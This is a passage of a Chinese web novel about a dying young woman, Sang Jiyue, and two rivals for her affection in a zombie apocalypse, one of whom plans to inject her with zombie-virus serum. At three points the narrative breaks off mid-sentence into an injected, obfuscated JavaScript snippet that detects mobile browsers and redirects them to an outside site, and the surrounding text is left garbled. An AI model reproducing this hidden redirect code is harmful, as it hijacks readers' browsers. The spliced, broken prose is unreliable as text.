似乎和异能制造出来的温度不太一样,他本身的温度更温柔自然一些。 桑寄月很喜欢也很满意。 “你好暖和。”桑寄月习惯性的在睡前和盛星舟说两句话,只是以前盛星舟不会理她,但现在不一样。 几乎是在桑寄月话音落下的瞬间,她就听到了他的声音:“对啊,我从小体温就高,从来都不生病的,阿月你每顿应该多吃一点,争取像我一样。” “我吃得很多了。”桑寄月唇角勾了一下:“我还长高了三厘米,你没有发现吗?” 比上辈子高了三厘米。 “发现了,就是又瘦了,一定都是因为照顾我太辛苦了。”盛星舟和她保证:“我以后每天给你做好吃的,你要快点养回来。” 桑寄月沉默了一瞬。 她消瘦和盛星舟没什么关系,她一向对自己很好,是这具孱弱的身体在开始衰败。 时间过得真快,还剩一年了。 盛星舟也习惯桑寄月偶尔不理他,他很自然的将话接了下去:“明天我去山上看看,弄些鲜肉回来,你还想吃鱼吗?明天我们去河边玩好不好?或者我们……” 时隔多日熟悉的声音再度萦绕在耳畔,让桑寄月一时间竟有些恍惚,她没太听清他说话的内容,只有他的声音,如此清晰。 她将耳朵贴近他的胸口,沉默的听着他的声音和心跳。 盛星舟摸了摸她的乌黑的头顶,和她说:“是不是困了,那我不说了,我们睡觉吧,阿月。” “还不困。”桑寄月打了个呵欠,说道:“我喜欢听你说话。” 盛星舟开心:“我喜欢和你说话。” “不过现在很晚了,你该休息了。” 桑寄月“嗯”了一声,闭上了眼睛。 盛星舟低头看她,想要用甜甜的晚安吻结束今天。 但桑寄月非常敏锐,在他凑近她的时候,她的手就要朝着他的脸落下。 盛星舟环住她的手腕,又亲了亲她的掌心:“你喜欢被亲这里吗?” 桑寄月:“……” 他有叹了口气:“阿月,我的牙什么时候能恢复正常呀。” 话题跳跃得太快,桑寄月都没反应过来。 “不然亲亲的时候不小心咬到你怎么办。”盛星舟小声嘀咕。 桑寄月:“?” “那你就去死。”她很冷酷的说。 敢亲试试。 盛星舟啄了几下她柔软的掌心,留下炙热的温度,他笑着说:“睡吧,不吵你。” 桑寄月把手缩回来藏进被子里,然后背对着他,重新闭上了眼。 一室寂静。 盛星舟在黑暗中偷笑了许久,才用气声对桑寄月说:“阿月,晚安。” …… 翌日。 桑寄月吃完早餐之后去找狗窝里睡懒觉的大福玩,盛星舟则是开始收拾屋子,桑寄月很爱干净,屋子里不脏但乱。 他将散乱的被褥叠好,衣柜里堆放的衣服挂好,做了一会儿家务后,他忽然看见了窗台上摆放着的水培玫瑰。 盛星舟的目光顿住。 他记得之前御水湾的别墅里桑寄月的卧室中好像也有类似的水培玫瑰。 不过眼前的这一株,盛星舟模模糊糊的回忆起来,这是几个月前,江望曦通过季信带给桑寄月的,说是生日礼物。 除此之外还有一堆物资。 虽然他们并不缺物资,当时让桑寄月露出笑容的,也是那株开得正好的水培玫瑰,她似乎对于养这种植物很有经验,都好几个月了玫瑰都没有枯萎。 如果这破花马上烂掉就好了。 盛星舟盯着那株玫瑰,总是忍不住去想江望曦,昨日被暂时压下的思绪,又一次的萦绕心间。 虽然现在他们好像已经脱离主线剧情很久了,七四也没有再上线过,按理说江望曦也该和桑寄月毫无瓜葛了。 现在在桑寄月身边的是他,过去是,未来也一定会是。 既然如此,窗台上也还摆放他送给桑寄月的花。 如果将这株玫瑰扔掉,桑寄月应该也不会生气吧。 她对他的好感到什么程度了呢? 电光火石间,盛星舟忽然想起和桑寄月对他的好感绑定的空间。 桑寄月不知道为什么也是能用这个空间的,只是她不知道空间面积绑定的是她对他的好感。 他立刻去看了一眼当初的那个狭小的空间—— 现在是大平层,里面堆满了物资。 “这是多大?” 七四冒泡:“八十平。” 这也就意味着目前桑寄月对他的好感是八十。 盛星舟郁闷的情绪顷刻间一扫而空。 七四说道:“友情提示,好感度代表不了什么哦,我们的目标还是拯救女配,你可别走岔了。” “我要为阿月献身,你放心吧!”盛星舟沉浸在八十好感中无法自拔。 七四:“……” 他很想继续提醒盛星舟他不是攻略系统,他是拯救系统,所以好感度真的不算什么,这玩意儿只能影响恋爱脑,影响不了桑寄月。 但是桑寄月从走进了卧室里,七四很怕她,忙不迭的下线了。 桑寄月见盛星舟站在床边发呆:“你在做什么?” “看花。”盛星舟回过神,回答道。 桑寄月走过去,用指尖轻轻的碰了碰柔软鲜红的花瓣,笑着说:“是吧,我养的花超级好。” “阿月,外面有很多好看的花。”盛星舟偏过头去,看着桑寄月,充满期待的对她说:“我每天都换新的花给你放在窗台上好不好?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16191077|178966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以呀。”桑寄月没想太多,张口就说:“那你再去找个瓶子来□□的花。” 盛星舟说:“你把这株玫瑰扔了不就有空瓶子了么?” “不要。”桑寄月皱眉:“这是我养的。” “不可以换一株养吗?”盛星舟问。 桑寄月毫不犹豫的拒绝他:“不准动我的花,要是花死掉了你就死定了盛星舟。” 盛星舟轻哼了一声,大步离开。 他当然不会为了一株花和桑寄月生气,他去做午饭了。 …… 天气越来越冷了,外面又开始像去年一样下雪,桑寄月变得更需要盛星舟了。 盛星舟很珍惜他们在一起的时光,尤其是因为外面大雪封山交通不便,季信也没办法带着江望曦的信回来。 他们度过了一个快乐温暖的冬天。 春天万物复苏的时候,季信又送来了江望曦的信,他看得懂的时候桑寄月不给他看了。 盛星舟觉得他现在还没当丧尸的时候待遇好,转眼天气转暖,次卧也拖拖拉拉的修缮好了,桑寄月还把他赶出了主卧。 不过春寒料峭,他还是偶尔能找到机会抱抱她给她暖被窝的,也能亲亲她冰凉的指尖与掌心,她似乎对此也习惯了,没有说什么。 只是等到夏天天气热了,盛星舟完全失宠,一整个夏天连带着初秋,他都没能再和桑寄月贴贴。 盛星舟感到很遗憾。 其实这些也都没什么,他相信来日方长,偶尔在桑寄月面前撒娇耍赖也很有趣,真正让他忧心的是,他的阿月并没有像从前那样认真吃饭就长高长胖了。 是因为过去的一年里太辛苦了吗? 大福的年纪逐渐大了,胃口变得不太好,每天大把时间都是找个地方一睡就是一整天,他变着法的做狗饭,这条狗也不见得多吃一口。 桑寄月就像是她的狗一样,嗜睡,胃口也差。 大福在衰老没有错,它已经快要十四岁了;可是桑寄月下个月才满二十岁,她还很年轻,不该是这样的。 盛星舟提过不止一次想要和桑寄月去附近的基地里看看医生,都被桑寄月拒绝了,她说她知道她的情况。 桑寄月从前收集的那些药都派上了用场,她每顿至少会吃五种不同的药,来维持一整天的精神。 盛星舟感到惶恐,桑寄月是生病了,她也在努力的治疗,可是似乎并没有什么好转。 转眼间又是一个月过去,今天是桑寄月的生日。 桑寄月现在一整天都懒洋洋的,病痛也并没有影响她的心情,她看盛星舟愁眉苦脸的,还开口安慰他:“别不开心啦,之前看你天天傻乐,现在整天丧着一张脸,我好不习惯。” 她又接着说道:“我以前也天天在吃药,只不过是末世之后停了一段时间而已,你不用大惊小怪,这很正常。” 距离两年之期还有一段时间,桑寄月没打算现在和盛星舟说她活不过二十岁。 如果盛星舟知道了必然会立刻拉她去医院,可是根本没有用,都是瞎折腾,而且她也不喜欢去基地。 “这不正常!”盛星舟深吸一口气,问她:“上辈子这段时间是发生了什么吗?” 他们不是都远离主角团了吗,为什么桑寄月还是不幸的,要被病痛缠身。 桑寄月想了想,一时间竟然都想不起来上辈子的这时候她在做什么了,果真是舒服的日子过太久了…… “今天是我的生日。”她还是想了起来,面带笑容的说:“我和乔乔一起分了一个没有奶油的小蛋糕,度过了今天。” “蛋糕吗?”盛星舟立刻说道:“我也会做,我去做,给你添好多奶油。” 他让季信帮他带的食谱无时无刻不在发挥作用。 盛星舟似乎又给自己找到了一点事情做。 桑寄月靠在躺椅上休息了一会儿,难得有了精神,想着去遛遛狗。 “别睡啦大福!”桑寄月把大福从窝里拖出来:“我们出去走走。” 大福懒洋洋的掀了掀眼皮子,摇晃着尾巴和她出门。 正值秋季,漫山遍野的金黄。 四周非常安静,只有脚步声落在枯萎叶片织成的地毯上沙沙的声响。 桑寄月正在踩枯叶玩的时候,忽然听见了汽车引擎轰鸣的声音,她抬眸望去,便见那辆车停了下来,车上的人走了下来,沿着河岸边朝她走来。 她难掩惊讶:“哥哥,你怎么来啦。” 江望曦自然是知道她的住处的,毕竟他们这两年一直都有联系。 两年过去,高大英俊的男人风采依旧,深蓝色的眼眸仍如宽阔深邃的大海,透亮的映出她苍白的面容。 江望曦轻松的笑了笑:“不是说二十岁见么?你的约定,我同意了的。” 虽然他们那时分离得很匆忙。 桑寄月嘀咕:“还是提前了。” 他们上辈子这时候还没见面呢。 明明与盛星舟还有两个月时间的。 “小月,不欢迎我吗?”江望曦轻声问她,他俯下身来,与她平视:“我没有失诺,你也该遵守诺言。” 他已经容忍她在外玩了两年,接下来的五年,或者是六年,七年,八年,很多很多年,他都要她。 他们不能继续再错过。 40. 蛋糕 听见江望曦的问询和话语,桑寄月摇了摇脑袋,很乖巧的说道:“没有不欢迎你,看见哥哥我很开心。” 她非常认真:“不是承诺,是命运,接下来的时间就是属于我们的。” 江望曦时常分不清桑寄月说的究竟是真话还是假话,但是没关系,如果是他爱听的,那就是真话。 就算是假话,他也会让它成真。 “带我回家么?”江望曦温和的问她。 桑寄月颔首,没什么犹豫的伸出手,拉着他往家的方向走。 无需桑寄月开口问,江望曦和她说着他关心的桑淮殷乔近况。 曾经原本命运紧密相连的一群人,在末世之初分崩离析。 林洛安林洛清两姐弟去了景城的基地,如今和他们的父母生活在一起;桑淮殷乔则是在这两年里在外跟着车队行走,想要找到“失踪”的叶临。 目前桑淮和殷乔在距离桑寄月很远的城市中。 他们的命运似乎就此彻底断开了。 桑寄月听着故人的近况,有种恍如隔世的错觉,不过她现在对此不太感兴趣,听过也就听过了。 她现在更在意另一件事,事关她的以后。 “哥哥。”桑寄月晃了晃江望曦的手,柔软的声线响起时,像是在撒娇。 江望曦朝她看去:“想问什么?” 她眨巴了一下眼睛,很平静的说道:“我活不了几个月了,最迟今年年底就会病死,你接下来都会留在这里吗?” 枯败的身体行将就木,再好的医疗手段都拉不回来,这是桑寄月很早就知道的事实,能够救她的只有丧尸病毒。 所以她需要江望曦,他会在她意识陷入混沌的那段时间照顾好她的身体。 “嗯,这次不会有人打扰我们了。”江望曦颔首,然后说:“你需要的病毒血清也准备好了,实验过很多次,这次不会再有问题,如果你愿意的话,现在就能注射。” 很快他团队的人也会赶来这里,带着精密的仪器与充足的药物,他们绝不会再发生上辈子那样的情况。 就算是失败了也没关系—— 他说:“如果失败,我依旧会与你一起分担后果。” “没关系。”桑寄月随口说了一声,似乎并不太在意后果,她很快又接着说:“我还有一段时间,等撑不下去了再说吧。” 一阵冷风吹过来,桑寄月瑟缩了一下,捂着嘴咳嗽了好几声,似乎是觉得冷。 江望曦解下暖和的围巾一圈圈的围在她脖颈上,很平静的问她:“可你现在很难受不是吗?可以提前终结这种痛苦不好吗?” “我也……没有很难受啦。”桑寄月揪着黑色围巾的一角,笑了笑:“先就这么过吧,往后不当人的日子还长呢。” 见江望曦不说话,她又接着说:“哥哥,你还记得我以前的样子吗?” 上辈子除了形影不离的那五年,他们总是聚少离多,桑寄月自己都快不记得少时和江望曦待在一起的情景了。 “我记得。”他很诚实的说:“但似乎已经有些陌生了。” 实在是过去了太久,江望曦只记得她变成丧尸时的模样。 桑寄月用轻快的语气说道:“给你一个重温旧梦的机会,记住现在的我。” 他沉默了许久。 直到快要走到那座农家小院,江望曦才冷不丁的开口:“小月,你变了很多。” 她没有那么阴沉了,竟然也会开口安慰他了。 在他未曾参与的桑寄月人生中,她会有很多瞬间让他感到陌生。 “可能是……最近心情不错?” 桑寄月看着近在咫尺的农家小院,慢慢的放开了江望曦的手,站在他的面前,严肃的对他说:“接下来我会处理好我和盛星舟的关系,你不要插手,严格意义上来说,还没有到我们遇见的时间。哥哥,不要做节外生枝的事情。” “好。”他很快应下,又摸了摸她柔软乌黑的发顶,声音一如既往的温和:“小月,我比他有用,对吗?” 这倒是真的。 桑寄月非常实诚的点头,笑容灿烂:“我最需要哥哥啦。” “那就不要做会损伤我们之间关系的事情。”江望曦提醒她。 桑寄月一口答应,然后轻快的跑了进去;大福没精打采的跟了她几步,然后又回了窝里睡觉。 江望曦看着她的背影,面上温和的神情淡了很多。 他意识到他并不喜欢桑寄月的改变。 他更喜欢桑寄月如同他记忆中的那样,依旧温柔而冷漠,憎恶一切,却喜欢他。 在冰冷的末世里他们唯一可以信赖的只有彼此,相互取暖,相互慰籍,相互依靠。 ……而不是像现在这样。 她不再只有他了。 距离年底还有两个月的时间,盛星舟可能依旧会是最大的变数。 …… 盛星舟对于突如其来的江望曦似乎并没有表露出惊讶和排斥,桑寄月本来还在想怎么安抚他,但目前看来不需要了。 虽然不知道为什么,但某些乱七八糟的情绪他们都可以内部消化的话,桑寄月也能省心很多,只要矛盾没有浮出来,她就懒得多管。 盛星舟一边解下她脖子上绕着的围巾,一边和她说话:“阿月,我给你做了蛋糕,但是做得不太好看,不过我放了超级多的奶油,特别甜。” 失去遮挡的脖子瞬间有冷风灌了进来,一只温热的手落在她纤细的脖子上,贴了贴,带来滚烫的热度。 他们也进了客厅,隔绝了外面的冷风。 客厅里烧了炭,很是暖和,桑寄月脱掉厚重的大衣,随手扔给盛星舟,顺便回应他:“我都不知道你还会做蛋糕,为什么以前不做给我吃。” 林洛清做的蛋糕最好吃,但以后肯定是吃不上了。 “万一你吃腻了今天就没有惊喜了。”盛星舟理所当然的回答,把衣服挂好之后不忘塞了一颗糖进她手心:“阿月你先玩一会儿,我去把蛋糕端过来。” 出门的时候恰巧撞上慢悠悠走进来的江望曦,盛星舟瞥了他一眼,冷漠走掉。 “蛋糕么?”江望曦露出一抹笑容:“我记得今天是你的生日,所以也准备了蛋糕,在车上,我们现在去拿吗?” “不用啦,两个吃不完的。”桑寄月一口回绝。 江望曦劝说她:“是草莓蛋糕,真的不要吗?” “那我不要去拿,外面很冷。” 他说:“我去拿。” 桑寄月很快就后悔了。 吃完主食后,两个草莓蛋糕摆上了餐桌。 江望曦带过来的蛋糕颠簸了一路也没有散架,还维持着精美漂亮的形状,红彤彤的草莓和果酱点缀在纯白的糕体上,一层又一层,很是讨巧。 盛星舟的蛋糕做得就不太尽如人意了,形状一塌糊涂,但上面的确抹了超级多的奶油,而吸引她目光的是上面点缀着的又大又红的草莓。 桑寄月惊奇的说道:“你哪里摘的草莓?” “山上呀。”盛星舟很快回答:“现在外面可真是了不得,一堆动物变异,植物也有的变异了。” “你整天和我在一起,哪有时间上山的。” 盛星舟轻松的笑了笑:“你午睡的时候,没发现吧。” 桑寄月点头,然后兴冲冲的说:“点蜡烛,快点蜡烛。” 盛星舟呆了下,他好像把生日蜡烛忘了,又不能用平时照明的蜡烛。 不过江望曦准备充分,他拆开蜡烛的包装袋,要往蛋糕上插的时候,桑寄月开口:“插那个丑的上面。” 盛星舟:“……?” 江望曦应了一声,毫不客气的将两根蜡烛插在了那个看不出形状的蛋糕上。 表面平静的两人为桑寄月唱了生日歌,桑寄月托着下巴,不闭眼也不许愿。 江望曦习以为常,倒是盛星舟不解的说:“为什么不许愿?” “都是假的,小孩子才信。” “可是你十八岁生日的时候不是也许愿了吗?”他当时就蹲在门外,都听见了。 桑寄月说:“可是我说的愿望也没有实现呀,所以说我都不信的。” “你说嘛,万一这次的实现了呢?” 桑寄月撇了下嘴,不太想理会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江望曦知道他没有必要节外生枝,但某些情绪似乎积压在了心中,他声音平静的开口:“我不在的这段时间,应当都是你在照顾小月,我该替她向你道个谢。” “是啊,从末世开始我们就在一起。”盛星舟咧开嘴,毫不遮掩的笑道:“也不止是我照顾阿月啊,她也照顾我,去年一年她都在照顾我,我们是可以互相依靠的关系,用不着你多此一举。” “我知道。”他的情绪没有丝毫波动,就像是之前经常独处时的桑寄月那样,仿佛没有任何事能激起死水涟漪,他说:“但你已经收了我的谢礼,就要认清你与小月的关系。” 盛星舟知道江望曦说的是血清,但是:“那是阿月给我用的,关你什么事,少在我面前刷存在感,我给你写信让你来这里,不是为了让你和我抢阿月的。” 桑寄月的情况越来越不好,她又不肯去医院,盛星舟思索再三,还是请季信帮他给江望曦送了那封信。 只是他怎么来得这么快? 盛星舟非常怀疑他收到信的时候就已经在来的路上了。 “既然有求于人,就放低姿态。”江望曦犹如谆谆教诲的长者,对盛星舟说。 盛星舟很想说他凭什么放低姿态,江望曦不是也很喜欢桑寄月吗?可是他不能这么说,因为阿月是他的,如果江望曦真的能医好桑寄月,这个人情也是他欠的。 他冷哼了一声:“你想怎么样?” “不要让我再看见你靠近她,”江望曦说着,又见盛星舟的动作:“还有吃她留下来的食物。” 盛星舟一口将剩下的那半块蛋糕塞进嘴里,狠狠咽下:“哦,知道了,放心。” 他答应得过于爽快,惹得江望曦都多看了他一眼,似乎没想到盛星舟的态度会如此卑微。 盛星舟的想法单纯又直白。 他只让江望曦放心,又没说他会离桑寄月远远的,阳奉阴违谁不会,今晚他就要贴着阿月睡。 41. 名分 傍晚时分,这座偏僻的小村庄里来了好几位陌生人,引擎轰鸣的声音惹得山上平静惯了的异兽都开始躁动不安。 这是江望曦团队的人,他们接下来会和江望曦一起住在村子里。 桑寄月很讨厌陌生人侵入她的领地,她对此兴致缺缺,倒是盛星舟饶有兴致的跟着江望曦走了一趟。 晚饭和午饭一样,依旧是他们三个一起吃的,饭后盛星舟去洗碗,江望曦冷不丁的对她说:“小月,今晚能收留我吗?” 江望曦此次前来为的也不全是桑寄月,他们的团队最近在做关于异兽的课题,村庄的后山上有他们需要的实验样本,按理说江望曦也应该和他团队里的人住在一起。 这件事江望曦也和桑寄月说过,没有隐瞒她,桑寄月严肃的说:“哥哥,不要不务正业,去做你该做的事。” “这不冲突。”江望曦温和的问她:“我们一起睡,你会睡得好一些的,不是吗?” 就和以前一样。 桑寄月吃饱了就有些犯困,她没什么耐心的敷衍道:“以后再说吧。” “脾气越来越坏了。”江望曦好笑的叹了一声,然后摸了摸她的脑袋,提醒她:“不要我抱,也别让别人抱,知道吗?” 江望曦认为他已经足够大度,过去他不在的时候也就算了,现在他就在这里,自然容不得看见桑寄月与别人亲密。 她的最终归宿只能是他。 桑寄月说:“没有不让你抱,哥哥。” 她主动抱了抱江望曦,冰凉柔软的躯体一触即离。 江望曦烦躁的情绪被安抚了些许,他继续说:“也只能喜欢我。” “放心啦,只喜欢过你。” 江望曦得到了他想听的话,唇角也跟着勾了起来:“那我走了。” “哥哥再见。”桑寄月摆摆手。 江望曦这才离开。 彼时盛星舟就站在院子里,也不知是听去了多少他们的对话。 江望曦知道他在外面,他希望盛星舟能识相一些。 无论是明年还是这剩下的两个月时间,他都希望桑寄月的身边只有他。 盛星舟的脸上没有特别的表情,但江望曦走出大门后他“砰”的一声把大门合拢,在黑夜中有些吵闹。 他扭头就去找了桑寄月。 桑寄月瘫在沙发上,两只鞋子乱甩,将毯子蒙在头上,从里到外都露出一丝若有若无的烦躁。 江望曦的情感需求太多,可是她已经不喜欢他了,所以不免觉得烦。 盛星舟将她乱甩的鞋子放到她脚边,然后蹲在了她面前,面带微笑的喊:“阿月。” 隔着柔软的毯子,桑寄月“嗯”了一声,盛星舟把毯子扯下来,戳了戳她柔软的脸颊。 桑寄月又开始不耐烦了:“你很烦诶,走开。” “困了吗?我抱你去休息吧。”盛星舟不为所动,说着就神出手要把她从沙发上捞起来抱回卧室。 桑寄月踹了他一脚:“说了别碰我。” “那你为什么要抱江望曦。”盛星舟握住她的脚,塞进毯子放在他腿上暖着。 桑寄月毫不避讳的说:“啊,你都听到啦。” “是啊。”盛星舟也没有丝毫隐瞒:“和之前一样,我都听到了。” 桑寄月虽然有些舍不得盛星舟,但如果盛星舟要单方面提前终止这段关系,她也无所谓,只是会觉得有些遗憾。 两个月还是两天,如此一想其实也没什么区别吧。 就算盛星舟立刻被气走都行,反正他之前也是这样的。 早点断掉其实对他也好,毕竟很快就又要下大雪了,到时候再大雪封山,他想走都走不了,留在这不得气死。 不过一瞬之间,桑寄月就已经想了很多,她蹭的一下爬起来,直接说道:“既然听到了,那你有什么想说的吗?” “你没有必要委屈自己说谎话来哄骗江望曦。”盛星舟认真的说道:“阿月,你欠的人情我会去还的。” 桑寄月:“啊?” “之前你们的对话我也都听到了,但那时候我不够信任你,所以才偷偷离开,你放心,这次不会了!”盛星舟声音坚定的对她说道。 桑寄月:“……” 可能是骗人骗多了,说句真心话竟然都还被认为是在说谎。 她忍不住说:“我没说谎啊。” “好好好,没说谎。” 话虽如此,盛星舟明显不信。 桑寄月都无语了,既然他非要这么说,要自己骗自己,那就随便吧。 盛星舟看桑寄月默认了,他原本还有些阴郁的心情顿时一扫而空,他开心的说:“我们已经是这样亲密的关系了,你永远不用担心我会不信任你。” 桑寄月费解:“我们什么亲密关系?” 有关系就有关系,怎么还变成亲密关系了? 盛星舟有些害羞的说道:“我们同吃同住两年了,当然是情侣呀。” 桑寄月很难得的呆了一下:“你们男人都这么自信吗?” “你要赖账?” “赖什么账?” “不要以为我当丧尸的时候你说的话我都不记得了。”盛星舟一字一句的说:“你说过,给我两年时间。如果我醒过来,你就和我在一起。” “后面那句真不是你自己加的吗?” “如果你不是这个意思,为什么要抱着我睡觉,还那么照顾我。”盛星舟很坚定他的想法。 “不可以吗?”桑寄月平静反问:“你说你喜欢我,我愿意和你一起生活,你难道不应该感恩戴德吗?为什么还贪心的要求这么多?” “你的意思是不给我名分吗?”盛星舟想了一下:“不给就不给吧,但你不要再抱江望曦了,我也会伤心的,阿月。” 桑寄月:“……” 为什么就是说不通呢,按理来说他不是应该和她大吵一架,然后离开吗? 只是盛星舟的态度也让她意识到,如果她还继续吊着他,不把话挑明,之后要让他走就难了。 今晚或许是个好机会。 就是是真的有些舍不得…… 桑寄月想着,并不妨碍她冷漠的说:“我要纠正一下,我当初的意思是,将我这两年的时间给你,两年之后,我有我该去的地方,不需要你再跟着我。这才是我当初的意思。” 盛星舟愣住,半晌才问:“为什么不需要我?” “你能让我好起来吗?”桑寄月很不客气的问他。 盛星舟看着已经清减了许多的桑寄月,一时沉默了一下。 他没有办法,所以他才会求助江望曦,他憎恶自己的无能为力。 桑寄月把放在盛星舟腿上的脚缩回来,她穿好鞋子,站起身来,冷漠的说:“因为你对我来说没有用。” ……很熟悉的话。 两年前她也是这么对江望曦说的,只是这一次直接面对面和他说了。 桑寄月进了卧室,正要关门的时候,一只手横在了她的面前,不让她关。 她皱眉看着盛星舟。 盛星舟问:“你真的觉得我一无是处么?” 一无是处倒也不至于,他比任何人都要会照顾她,和他待在一起她也很开心。 可是那又如何呢,她更需要江望曦。 只有江望曦才是她向桑淮复仇的助力。 面对盛星舟的质问,桑寄月是该说是的,但她迟疑了一瞬,盛星舟的声音又传进了她耳畔。 “我不明白。”盛星舟有的时候也会茫然:“我该高兴吗?你在所有人面前都装得那么乖巧温柔,只有我——你一见面就要杀我,后来我们同行,你也毫不保留的把最坏的那面给我看。” 桑寄月愣了一下。 因为在盛星舟面前没有必要伪装,初见的时候她就已经暴露了她是怎样的人。 可是一个愿打一个愿挨,盛星舟凭什么要抱怨。 桑寄月沉了脸,正要说话,他又自顾自的接着他的话往下说了:“我也不争气,我还是觉得你好可爱,我好喜欢。” 桑寄月刚要说出口的话堵在了喉咙里,不上不下的,把脸都憋红了。 恰巧一阵冷风吹过来,盛星舟还以为她被冻着脸了,将卧室的门关上,自个儿也不忘挤进来。 “可是阿月,同样是喜欢你,为什么你对江望曦那么好?明明我们才是形影不离相处两年的恋人——” 桑寄月:“为什么又是恋人了?” “你不给我名分我自己给。” 她沉默了好半晌。 盛星舟勾住她冰凉的小指,声音很轻,清亮的眸子里满是祈求:“也对我好一点可以吗?” 桑寄月觉得她已经对他很好了,但她还是下意识的顺着盛星舟的话往下问:“你想我怎么样?” “今晚我们一起睡。”盛星舟立刻说道。 “可是……” “是你自己说的,要对我好一点!” “啊?我没说啊?” 盛星舟:“你说了!我不管!” 桑寄月欲言又止,最后看他的情绪实在是太激动,还是默许了他的靠近。 算了,也没多少日子了。 盛星舟的目的达成,搂着她倒在床上,将她冰凉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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明明没必要让自己那么难受。 “晚点报告出来后,如果仍没有好转,我会为你注射血清。”江望曦不容置疑的说道:“小月,我不希望你像上辈子那样,拖着最后一口气尸化,变成丧尸了也那么虚弱。” 桑寄月终于轻轻的点了点脑袋:“嗯,哥哥,你说得对,我听你的。” 江望曦摸了摸她的发顶。 桑寄月仰起脑袋,轻声说道:“晚点让盛星舟来找我,我有话要和他说。” 他落在她头顶的手一僵。 “好。”他温和一笑。 离开桑寄月的卧室后,他面上的神情陡然沉了下来。 江望曦知道,如果他真的不插手他们之间的关系,只怕日后桑寄月成为丧尸,盛星舟也会像条癞皮狗一样缠着他的小月。 他得做些什么…… 恰巧这时,他看见了大门外的盛星舟。 盛星舟似乎有话想说,看见他之后,便直接开口问道:“你让我远离阿月,我也做到了,可是她至今没有丝毫好转,甚至越来越虚弱,你真的有在认真治疗吗?” 他不得不怀疑江望曦别有用心。 江望曦淡漠的说道:“小月是先天弱症,已经灯尽油枯,现在无非就是吊着命而已。” “你有办法。”盛星舟笃定的说。 如果真的没有办法,江望曦不可能会这么冷静。 江望曦似乎并不避讳:“当然有。” “只要注射丧尸病毒血清,转生为丧尸,自然不会再被肉身拖累。” 盛星舟愣了一下:“阿月知道吗?” 他此刻不由得发散思维,桑寄月上辈子变成丧尸究竟是意外还是…… “她不知道。”江望曦轻声说道:“毕竟一切馈赠都是有代价的。” 盛星舟倏的看向他:“你想做什么?” “小月会是很好的实验样本。”他的声音缓慢:“我相信她会为医学做出不可磨灭的贡献。” 盛星舟这段时间也不经意间看到过江望曦在村庄里的实验室,那些异兽的模样,几乎是让他顿时想到了当初在青州区看到的那些被抓走的丧尸。 江望曦的实验是冰冷的、残忍的,否则他也不会获得那些惊人的成果,也不会有权限带着他的团队和那样多的精密仪器来到这里。 而现在他的下一个目标……是桑寄月吗? 恰巧这时候助手送来了桑寄月的体检报告,江望曦接过,大致扫了一眼,接着开口:“我和小月说过,如果这次的报告再不合格,我就会为她注射血清,但是很遗憾……这一次各项指标都很不错,不过决定权在我手中。” 江望曦就差直说他会为桑寄月注射血清了。 盛星舟的面色一变再变,正要去找桑寄月告诉她的时候,附近驻守着的军方便冲上前来,将他制服。 江望曦握着那份报告,折返小院。 42. 往事 江望曦进来的时候桑寄月还在盯着手背上的留置针发呆,她低垂着眸子,听见熟悉的脚步声,她轻声说:“我不想一整天都躺在床上,我想出去和大福玩。” 桑寄月知道她已经无力回天,她接受了她暂时的结局,自然不想再整天的打针吃药挂水。 “这段时间没办法,你必须治疗,否则会失去生机。”江望曦将刚出的报告递给桑寄月,一边说道:“等这一轮治疗结束,可以暂缓。” 桑寄月看都没看那张报告:“看不懂。” 江望曦指着上面的数值挨个和她解释过去,大致的意思就是说由于她的体质没有差到药石无医,所以新一轮的治疗取得了还算可观的成效。 如果桑寄月想停药的话也可以,只是在身体继续恶化之前,他不会再用药,而是会为她注射血清。 桑寄月听着,情绪激动起来:“那我是不是可以不挂水了?” “等过了今晚。”江望曦温和开口:“明天帮你拔针。” 桑寄月“哦”了一声,又问:“刚才外面很吵,你们在做什么?” “盛星舟的情绪有些激动,我让人把他控制住了。”江望曦平静的说:“晚点把他放了,不用担心。” 桑寄月问:“为什么激动?” “或许是因为觉得我会伤害你,毕竟你一直没有好转。”江望曦说着,又问她:“我会伤害你吗?小月。” “当然不会!”桑寄月立刻说道。 江望曦叹了一声:“他似乎还没有认清我们之间的关系。” “他笨笨的。”桑寄月嘀咕了一声。 “休息吧。”江望曦的眸色深了一些,他没打算再将话题继续下去。 桑寄月颔首。 江望曦将调节器的滴速调慢了一些,才转身离开。 夜色渐浓。 桑寄月这几天一直躺在床上,到了晚上也没什么睡意,她眼下很快就多了一圈淡淡的青色,屋子里光线很暗,她就盯着漆黑的天花板发呆。 半梦半醒间,似乎有人轻手轻脚的推门而入,坐在了她的床边。 桑寄月本来就没睡着,听见声音就半睁着眼,喊了一声:“哥哥,我没事,你去休息吧。” 这几天晚上都是江望曦在照顾她,每隔两个小时就会来看她一次,有的时候她醒着,有的时候睡着了。 那道身影似乎僵住了一瞬,然后轻声说:“就当你是在叫我了吧,阿月。” 听见熟悉的声音,原本就没什么睡意的桑寄月更不困了,她完全睁开眼想支起身子坐起来,喊着他的名字:“盛星舟。” 盛星舟将她扶了起来,后背垫上柔软的靠枕,借着从窗户透进来的纯白月光,在一片昏暗中安静的看着她。 月光苍白,她也是苍白的。 像是他们初见是那样,又比那个时候看起来更为清瘦。 盛星舟不禁想起了傍晚时江望曦对他说过的那些话,说桑寄月命不久矣。 或许桑寄月也是知道这件事的,所以她一直都在和他强调所谓的“两年”。 桑寄月在坦然的接受她的衰弱。 